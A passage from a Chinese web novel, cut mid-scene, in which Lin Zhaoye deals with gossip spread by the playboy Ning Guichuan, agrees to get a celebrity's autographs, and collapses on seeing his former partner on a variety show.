阵令人头皮发麻的漫长死寂之后，林照夜慢慢扬起了嘴角，露出一个异常灿烂和照的笑容，慢条斯理地卷起袖子，从柜台后面掏出什么东西, 湛闲庭瞥了一眼，然后大惊失色。 “照夜哥-哥，冷静啊!杀人是犯法的!" 25、25 半个小时后。 宁归川顶着一只熊猫眼坐在凳子上,难得理亏，心虚中略带讨好地看向林照夜:“现在不生气了吧?林照夜坐回到柜台后面，端着湛闲庭刚端来的菊花构杞茶，吹了吹热气,慢慢喝了一口茶,才语气淡淡地说:“我没生气啊。"…”信你个鬼。宁归川嘴角抽抽,下意识伸手摸了摸自己的熊猫眼,嘴唇嗫嚅了一下，最终还是没敢质问回去算了。被林照夜锤一顿，总比被关明熙记恨上好。 “咳咳咳,那关哥那边.…你帮我解释一下?”宁归川抬眼瞄着林照夜，语气小心翼翼,但得寸进尺，"反正过不了多久，等关哥把你带过去,一切就真相大白了。" 林照夜扫了他一眼:“现在外面的流言传到哪个版本了?" 宁归川噎了一下，索性破罐了破捧:“也就是那种灰姑娘嫁进豪门的偶像剧版本呗。 什么金屋藏娇,什么草根逆袭。 正好小关总从出众的外貌到多金的背景，再到温文尔雅的性情,乃至悲惨复杂的过往经历,都十分贴合偶像剧男主的标准。 他甚至还真的很洁身白好,从回关家至今,都从未传出过任何一条绯闻。 光看纸面设定，可以说是男德拉满了。 按照偶像剧套路，就应该是在穷的只剩钱的无趣而空虚的人生里，突然遇见了一位身世低微却坚韧不拔的小白花女主，与之碰撞出激烈的火花. 在和霸总经历过碰撞、偏见,再带霸总体验一番以前从未经历过的平民生活，让霸总感到新奇，不断改观，最终彻底为女主角的善良与坚强所打动。 “这版本听着还挺温馨。”林照夜心平气和地评价，他还以为会有更多狗血的波折桥段呢。 “毕竟那可是关哥。”宁归川说道，“让我们想象他去跟别的男人抢女人，对着下属说天凉王破，或者搞什么一夜情带球跑，因为误会吃醋发疯 宁归川控制不住地打了个哆嗦，露出一个恶寒的表情:“实在是想象不出来。" 或许是因为关明熙这些年都比较低调，对于小关总到底是什么性格，交集不多的外人其实都没什么概念 仅凭着寥寥几面带来的印象，普遍都觉得他稳重绅士但疏离，不怎么好接近。 再加上他不怎么参与圈内年轻人的社交，也没有什么广为人知的比较烧钱的“高档”爱好，平日工作之外似乎都深居简出，他在圈子里的形象也就越发神秘，高不可攀 也越往不染凡尘的…老古板们的方向发展。 可能这也是关明熙这么多年一直没什么绯闻的原因之一。 好像不知不觉间，大家都默认了这位高岭之花活该独自站在山巅，看不上吵闹俗气的同龄凡人是再正常不过的事 即便真看上了谁……以关总的相貌气度手段，能有什么波折? 他们就是想破脑袋都想不出来。 也不敢想。 这么一想，这么“温和”的流言似乎也没什么太大的问题? 只除了主人公的性别问题。 还有他们之间的真实关系 但那本来就是一戳就破的误会嘛。宁归川逐渐理直气壮，终于敢挺胸抬头直视林照夜了:“等到时候澄清一下，应该就没什么影响了。林照夜“呵呵”了一声。宁归川立马又心虚地怂下肩:“我又不是故意的，哪知道他们传的这么快…这不是一知道就来找你了吗。"说着他又长长叹了口气，面上闪过愧疚和为难，又道:“不过这件事毕竟是因我而起，本来也该是我去给他一个交代。宁归川原本还想找借口为自己辩解几句，但听林照夜语气突然软下来，他又有点说不出口了。顺着林照夜的话想了想-他在A市圈子里已经丢进了脸面，之后还有贺修远那个狗东西对他落井下石围追堵载，林家那边也在虎视眈眈要不是有关明熙这个哥哥出现，林照夜现在的处境只怕难上千遍百遍.宁归川本就自觉理亏，以往漠不关心的乐子再回头看，才第一次惊觉林照夜是真的可怜。“我….…” 这下宁归川脸上真是愧疚了。可除了在“真爱”面前，他向来不懂退让服软，更何况是在斗了十几年前的对头面前一时间便有些说不出话来。林照夜表现得还很大度:“反正我也出过气了，这件事就算了，你不用放在心上。关哥那边回头我去跟他说。宁归川脸上的表情近乎羞赧了，最后又露出些感动和感激来。"算我欠你一个人情。宁归川还给了原本只有家人和亲近的朋友知道的那个私人号码，承诺说要是宴会上有什么不长眼的敢骂他，回头他一定帮忙骂回去最后离开的时候，除了脸上一只熊猫眼，以及微不可查的愧色之外，宁归川还以上次双倍的价格清仓了林照夜那堆压箱底的丑玩具旁观了全过程的湛闲庭:“…"”这位宁少爷可真.好忽悠啊。林照夜把宁归川送走之后再转身回铺子里时，脸上哪还有半分忧郁沉重，只剩骗到傻子的愉悦之色湛闲庭早看出来老板心大，但他跟关明熙见面不多，想起宁归川的那些流言，还是不免生出几分担忧。“那些传闻要是传到关总耳朵里，会不会对你有什么影响?林照夜想了想，说:“笑话我一顿算吗。湛闲庭有点点意外:“关总这么平易近人?” 林照夜半杯茶喝下肚，才警了他一眼，摇泽头叹息:"你说你，编排我一个人也就算了，反正我现在已经落到这个境地，让他们多看一个笑话也不算什么，但关哥是我的教命思人。结果名吉还受我连露。我这心里才觉得过意不去。 林照夜呵呵笑了一声:“是啊。” 甚至还有点恶趣味呢。这位哥也就表面一副光风霁月的模样，私下里肚子里憋的坏水可多着呢。林承宇那事儿就能窥见些端倪。听说最近贺家和林家又干上了，因为两家最近都倒霉，并且完全没觉得关家在这中间起到了什么关键的作用，不约而同就把锅扣在了对家脑袋上。这阵子两家斗得鸡飞狗跳，贺修远和林承宇这两个曾经关系不错的前盟友已经在朋友圈里公开撕到第二轮了。还有小道消息说贺修远又雇人把林承宇打进了医院天天给给林照夜实况转播的宁归川都没觉得有什么不对。林贺两家本来就是死对头，贺修远还是条众人皆知的疯狗，就算直接冲到医院再亲自把林承宇打一顿都不奇怪,宁归川甚至怀疑过一瞬是不是林照夜从中挑拨，都没想过这事儿的后续跟关明熙会不会有什么关系。也可能是他父母没跟他提。但事实是林照夜真的什么都没干，他哥都帮他干了，这段时间里，他都是从宁归川那里听一个大众视角版本，回家后又从汤助理或关明熙本人那里听一个主视角版本。毫不遮掩他们在其中发挥的作用。就着仇家互扯头花的八卦，林照夜都能多干半碗饭。咳，扯远了。总之，林照夜和关明熙朝夕相处了一段时间，不说对这位哥哥十分了解，窥探出三四分本性还是有的。宁归川就算直接跑到关明熙跟前白首谢罪，后者眉头都不会皱一下。就算真计较，计较的也不是流言本身，而是宁归川没事跑到他面前碍眼，浪费他的时间。如果真像宁归川说的那样，外面流言已经满天飞，关明熙肯定第一时间就知道了。没反应，甚至都没跟林照夜提，就说明不重要。果不其然，当天晚上回家之后，林照夜跟关明熙说起流言的事，后者只是微微拾了下眉，淡淡“哦”了一声，脸上没有半点惊讶意外的神色。关明熙打量了一下林照夜的脸色，才问:“这些流言让你感觉到困扰了吗?""我是觉得这些流言并没有什么恶意，而且过不了多久就要去T市，再特意去澄清反而更会引起别人的关注，性价比不高。”关明熙解释道.顿了顿，他又道:“不过如果你觉得不舒服，我可以叫人去压下来。"“哥你不介意就好。”林照夜摇摇头，“其实要不是宁归川突然跑过来跟我说，我都不知道这些事。毕竟他已经差不多算是和那个圈子断连了。听不到，当然也没什么影响。而且他也已经出过气了。"我就说你少跟他玩比较好。"关明熙抬了下眼皮，毫不掩饰对这位名声在外的花花公子的嫌弃，“天天一惊一乍的。林照夜沉默片刻，最后还是把流言是宁归川传出去的真相给咽了回去。虽然关明熙未必不知道，但想想刚刚从宁少爷那里薅来的羊毛，林照夜感觉自己还有一丢丢良心未泯。还是不要再给他拉仇恨了。林照夜果断转移话题:“哥，今晚吃什么?"红烧鱼和清炒油麦菜。“在外面待着。”关明熙冷酷无情地把林照夜关在了厨房门外。林昭夜撞撞昌二、还是没有讲去添乱，关于流言的小插曲就这么悄无声息地过去了。林照夜几乎都把这件事抛到脑后了，结果隔天一早，他慢悠悠地晃到铺子那边，就见宁归川已经在门口等着他了。宁少爷不知道什么时候到的，脸上戴着墨镜，靠在车边还摆了个平时要帅的姿势。但直到林照夜走到他面前，他都没什么反应。林照夜仔细打量了他片刻，又伸手在他面前挥了挥，顿时无语:"这是直接靠在车上睡着了?“宁少爷——宁归川?”林照夜连叫了两声都没叫醒他，想了想，又用一种阴森森的语气说道，“关总来找你了。“啊——”宁归川像是刚从噩梦中惊醒，惊得差点跳起来，一不小心就碰掉了脸上的墨镜,林照夜盯着他的眼睛。一今天的熊猫眼对称了。"…你不会是一晚上没睡觉吧?”林照夜忍不住问道。“什么?"宁归川紧张兮兮地左右看看，没见到关明熙那张可怕的冷脸，顿时松了一口气，“吓死我了——你说什么?"林照夜:“…….”他哥真的有那么可怕吗?宁归川不承认他是被关明熙吓到做噩梦，坚称他昨晚是想的事情太多失眠了，“到早上实在睡不着了，我就过来找你了。”宁归川屁颠颠跟在林照夜后面进了铺子。大约是看出来他心情不错，宁归川也放松了一些。“昨天你跟关总说了没?""说了。”“那他有没有骂你?"".没有。”林照夜转过头，看到宁归川脸上有点怂怂的表情就反应过来，补充道，“也没骂你。"真的?”宁归川半信半疑——原来小关总是这么好脾气的人吗?"让你下次谨言慎行一点。”林照夜随口应付，“别天天嘴上没个把门的。”宁归川闻言才露出放松下来的神色，小鸡啄米似的点头。林照夜并不相信他真的能在恰当的时候闭上自己的臭嘴，但也没有在这件事上多纠缠，因为很显然多说无用。今天来找我还有什么事?”林照夜问道。如果只是担心被关明熙找麻烦，宁归川今天应该会躲在家里当缩头乌龟，而不是一大早跑到铺子门口来堵他。大概还是为了何霜降的事——恋爱脑也就这么点出息了。林照夜猜的没错，宁归川一听说关明熙没计较，立马就把这件事抛到了脑后，挠了挠头发，犹豫了一下说:“我是还有点事想请你帮忙。“什么事?"“跟霜降关系最好的那个小孩下个月过十岁生日，他是娄星辰的粉丝，我想请你帮我要一张娄星辰的签名照。“娄星辰?”林照夜回忆了一下这是谁，好像是个明星，“拍电视剧的那个?“对对对，我听说他也会参加李小姐的生日宴，到时候你应该能看到他，你帮我要一张、不对，要五张——要到了我必有重谢!宁归川完全不担心林照夜要不到。娄星辰成名已久，各种奖项拿了一堆，在圈内咖位不低，但跟外面的豪门就没法比了这次他能参加李小姐的生日宴，还是因为李小姐是个追星党，专门给一堆明星发了请束，到场的都是愿意给面子的-一也几乎没有明星会错过这个紧积资源人脉的大好机会。既然到场，必然要给在场想要巴结的潜在金主爸爸们面子。到时候全宴会厅里，还能有哪条金大腿比小关总还粗?林照夜没拒绝，但也没立刻点头，而是有点奇怪地问:“你不是和李家人挺熟的吗，怎么不自己去要?T市距离N市又不远。总不能黏人到分开半天都不愿意的地步吧?问题是宁归川还没能黏上人家呢。宁归川脸上笑容顿时变得有点勉强:“我…….我不太方便去。林照夜好奇:“你跟他们家闹矛盾了?"“也不算…吧。”宁归川眼神漂移，“主要是，我跟李小姐，不太方便见面。”“你得罪过她?”林照夜毫不怀疑他那张贱嘴的杀伤力。“大概两年前的时候吧，我去参加过李小姐的成年宴，当时她有一个男朋友，嗯…但是我不知道那是她男朋友.……”宁归川语气越发飘忽迟疑。“然后你把她男朋友撬走了?”林照夜挑眉。“我把她男朋友揍了。”宁归川沉默片刻，尴尬地补充，“因为他渣了我当时的追求对象。""”林照夜也沉默片刻，问，“男的?"宁归川一脸沉痛地点头:“对。那真的是个脚踩好几条船的渣男，在跟李小姐交往之前都靠男朋友养的。".…也算是做了件好事了。”“她父母和哥哥其实挺感激我的，但那个时候吧，我到的迟了，不知道李小姐刚把她男朋友介绍给其他客人。"…”这可真是，太尴尬了。林照夜大概反应过来是怎么个情况了。虽然某种意义上也算是帮李小姐提前认清渣男真面目了，但这种事明明可以私下解决，结果偏偏在李小姐成年宴上在众目睽睽之下闹开。换谁都得产生那么一点心理阴影。而李小姐原本就不是什么善解人意的性子，反而是被家里人骄纵的有点过的任性大小姐。虽然被家里人压着不能报复宁归川，还得低头跟他送礼道谢，但她自己各种宴会是坚决不允许他再进门的早在第一批请柬发出来的同时，李小姐就特意在朋友圈里拍了宴会厅门口大大的手写招牌 [宁归川和狗不得入内」 26、26 答应了宁归川之后,林照夜特意去搜索了一下娄星辰的资料和作品。 因为聂潮汐的缘故，原主这些年在娱乐圈积累了不少人脉，跟一些比较当红的明星都打过照面，甚至还经常陪在聂潮汐在剧组或综艺节目组从头跟到尾对于娱乐圈很多内部和潜规则,原主说不定比聂潮汐本人还清楚。这个世界的娱乐圈比林照夜前世要畸形很多。简单总结下来就是唯流量论。谁资源多、曝光多、代言多、粉丝声量大,谁的咖位就高,有些流量明星别说什么演技,那张脸整容到连正常的表情都做不出来,但只要背后资本愿意下力气推，奖项都能拿到手软。观众也不是傻子，时间久了对这一套就不买账了,那些能随便水出来的奖项逐渐就失去公信力，成了资本自娱自乐的内部游戏。最后剩下来还算比较权威的,只有两三个过去没什么水花的官方评选。但这些评选基本只评在官方频道播放的正剧,候选名单里基本上都是比较低调不炒作科班出身的专业演员，虽然能让人信服,但没什么热度娄星辰原本就是走这个赛道的专业演员。平时只专注演戏，不接代言,不参与综艺，权威奖项一个接一个的拿,算是公认的实力派演员。一不过这是之前的事了。 最近这一年,娄星辰不知道怎么突然“开窍”了,跑去给当时正当红的两个流量男女主作配,出演了一部狗血偶像剧的深情男二。 爱而不得美强惨人设，再加上吊打男女主的出色演技，几乎一夜爆火。 之后又接连上了不少大热综艺刷脸，这阵子风头正盛。 不知道该说巧还是不巧，聂潮汐之前接了和娄星辰同一个综艺的节目邀约,算起来还是他们第一次合作。 结果合同签完没多久，原主这边就出了事，自然也没机会碰面了。 林照夜抽了大半天时间把娄星辰那部热播剧看了一遍。 看得心如止水，面无表情。 湛闲庭擦完灰回来，看到他躺在沙发上都快睡过去，再抬头看看男女主以0.5倍速吐血转圈圈的特写画面，不由面露同情 “照夜哥，要不，还是别难为自己了。" ".”林照夜被叫醒了，打了个哈欠揉了下眼睛，把播放速度重新调成三倍速，才发现竟然已经是下一集了。 但离谱的是，进度条拉长了至少半集，竟然也没错过什么有效剧情。 “还剩三集了，看完算了。”林照夜看了看剩下的集数，搓了搓自己的脸，迫使自己清醒一点。 看着超大屏幕里超高清的两张僵硬毫无感情的脸，他第一次发现原来看电视剧是这么折磨人的事。 还不如去看动画片呢。 他一直快进到男二出场才停下来。 虽然在和男女主演对手戏的时候，时常仿佛只有男二一个人对着木头桩子输出情绪和台词，但不得不说，有了拉胯同行的衬托，有演技长得帅还很深情的男二瞬间魅力值拉满了。 不怪他能火。“可惜摊上这种剧本了。”林照夜叹气。“剧本不好吗?"湛闲庭不怎么喜欢看电视剧，对这部大爆偶像剧仅限于听说过一点零碎的剧情和人物，“网上不是都说他人设很好?"男女主的粉丝因为这个和娄星辰的粉丝掐的天昏地暗的。边说娄星辰贿赂了导演编剧改剧本加戏，一边嘲讽男女主演技拉胯两坨烂泥扶不上墙。但两边的共识都是这个深情男配人设很好。"你是指在明知女主间接害死自己全家，对于被折辱的年幼无率的亲妹妹见死不救的情况下，还对女主情根深种，并且为了女主而原谅自己真正的杀母仇人男主，最后还为男主档刀而死的深情人设吗?".…当我没说。”淇闲庭收回前言。林照夜又搓了搓自己的脸，面无表情且煎熬地看完了剩下的三集。该死的结局强迫症。湛闲庭早在陪他看了十分钟之后，就坐不住，找个借口溜出去了。 说是给老板买零食去了，结果买了一个多小时还没回来 林照夜揉了揉眼睛，正要退出片尾，就见屏幕上自动跳出来一排视频推荐。 排在第一位的就是娄星辰最近参与的那个综艺节目。 林照夜瞥了眼节目名字，眉头微蹙. 他隐约想起来，这个好像就是在原主出事前，聂潮汐就接下来的那个综艺节目。 聂潮汐是不是也参加了? 林照夜最近日子过得挺舒服，这段时间还真没怎么关注这个前任白月光的近况。 不过想也知道肯定不怎么好过。 林照夜分神想了想，还是点开了下面的综艺, 这是个热播了好几季的生活类综艺，写作展现私下里和朋友在一起的互动日常，读作人设营销CP炒作。 不过节目组向来爱搞事，拿着好剧本翻车的明星也不少。 这也是这个节目热度始终居高不下的原因之一。 原主一开始很反对聂潮汐参加这个节目，大概是清楚他私下里本性如何，而原主在这个节目组里又没有绝对的话语权，就很担心聂潮汐会在这个节目上翻车。 但任凭原主嘴皮子都快磨烂了，反复陈述利弊，聂潮汐也铁了心要参加。 那段他的流量已经有所下滑，急需高热度的曝光巩固维持，而且娄星辰恰好是当时的“顶流”，和他同框也能蹭到一些流量。 当然最重要的是，当时的聂潮汐实际已经背叛了原主，自然不会再听他的话。 在聂潮汐的固执已见下，原主也只能退让一步。 签下合同之后，原主就去联系了节目组的负责人，想要疏通关系到时候也能护着聂潮汐一些. 结果还没等他提出要求，就先出了事. 现在的林照夜当然不可能为了聂潮汐去找节目组的人说好话, 不过他还真忘了这么一点小事。 可惜了。 林照夜这会儿想起来还有点遗憾，早知道找节目组再投点黑料了。 这样节目组多了搞事素材，他报了一点私仇，简直双赢。 林照夜也就这么一想，很快理智就压下了这点小遗憾。 这种主打“真实”的综艺，没了人费心打点关系，时时刻刻蹲守舆论，聂潮汐只有翻车当炮灰的份。 难不成还指望贺修远给他费那份心? 做梦 坦白说，林照夜打开这个综艺的时候，心底确实带了点看热闹的幸灾乐祸。 第一个出场的是圈内比较“德高望重”的老前辈，出了名的性格直爽，谁的面子都不给，看谁不顺眼都敢当着镜头怼人。 有这位老前辈在的地方，永远不缺话题度。 出场第二个是林照夜没见过的明星。 看到这个生面孔的时候，林照夜才想起来，他好像不记得聂潮汐的脸 记忆里的那张脸还是一团马赛克，后来他也没有再特意去搜索过。 不知道是不是纯粹的巧合，办或是聂潮汐这段时间流量真的断崖式下跌，林照夜在上网的时候竟也一次都没有看到过他露脸的广告 偶尔看见他的名字挂在文娱板块的热搜话题上，后面跟着的都是一看就是工作室买来的夸夸热搜，林照夜没什么兴趣点进去 所以直到现在，林照夜其实还不知道聂潮汐长什么样子。 会儿要是真隔着屏幕看到他，不会也是一团马赛克吧? 林照夜又看了眼屏幕上那张陌生的脸。 很快屏幕上就定格住这个嘉宾笑着跟镜头打招呼的画面，旁边用花字打出他的名字和履历。 是一个刚从国外某个音乐学院毕业的小提琴手。 还好，不用担心认不出正主了。 林照夜心不在焉地拖动着进度条，很快就听见视频里传来熟悉的声音。 清亮，热情，有活力- 后两者都是装出来的。 林照夜下意识先将声音和人对上了号。 是聂潮汐。 这个出场是未见其人先闻其声，镜头里先传来他跟剧组人员问候的声音，随后才见有人从节目组准备的屋子里面走出来。 相貌清秀，笑容满面，乍一看是个十分有亲和力的小帅哥。 小帅哥挥挥手冲着镜头打招呼，镜头也很贴心地给了一个颜值特写。 好消息，不是马赛克 但 那张脸出现在高清屏幕上的那一瞬间，林照夜的大脑一片空白。 “啪嗒 手里抓着的杯子掉在地上，碎了一地。 门外拎着两大袋零食的湛闲庭刚刚进门，东西还没放下就听见里屋传来杯子碎裂的声音. “照夜哥?”湛闲庭一愣，将零食袋放到旁边柜台上，脚步一转，就先往里屋走去，“怎么- 刚走到门口，湛闲庭话音一顿。 林照夜站在沙发前面，似乎完全没有听见身后的声音，只死死盯着屏幕。 湛闲庭扫了眼屏幕，一眼就看到定格在那里的聂潮汐。 而聂潮汐的身边，还站着贺修远。 镜头之下，两人的姿态都极为亲密，后者大大咧咧地将手搭在聂潮汐的肩上，紧紧地将他半拥在怀里。 不用开弹幕，湛闲庭都能猜到屏幕上会飘过什么——“磕到了”、“好甜”之类的。 湛闲庭心头一紧，担忧地往里走了两步:“照夜哥?" 林照夜并没有回头，整个人像是被施了定身术一般被牢牢地钉在原地，一点眼神也没有分给身后的人。 湛闲庭终于看到他面上的神色，脚步一顿。 不是预想中的气恼愤怒甚至憎恨，反而像是陡然间遭受到极大的冲击一般，脸上的血色褪得一干二净，只剩一片摇摇欲坠般的惨白。 湛闲庭注意到他嘴唇微微颤抖，听不清说了什么。 过了好一会儿，林照夜好像才如梦初醒一般，缓缓转动了一下眼珠子，脸上表情像是在笑又像是在哭，也终于漏出一声呢喃低语 ".原来如此。“ 原来如此。 视野一阵黑一阵白。 恍恍惚惚不知白昼黑夜。 他没来得及说出更多的话，身子微微晃了晃，忽然毫无征兆地栽倒下去。 湛闲庭一惊，下意识伸手:“照夜哥!"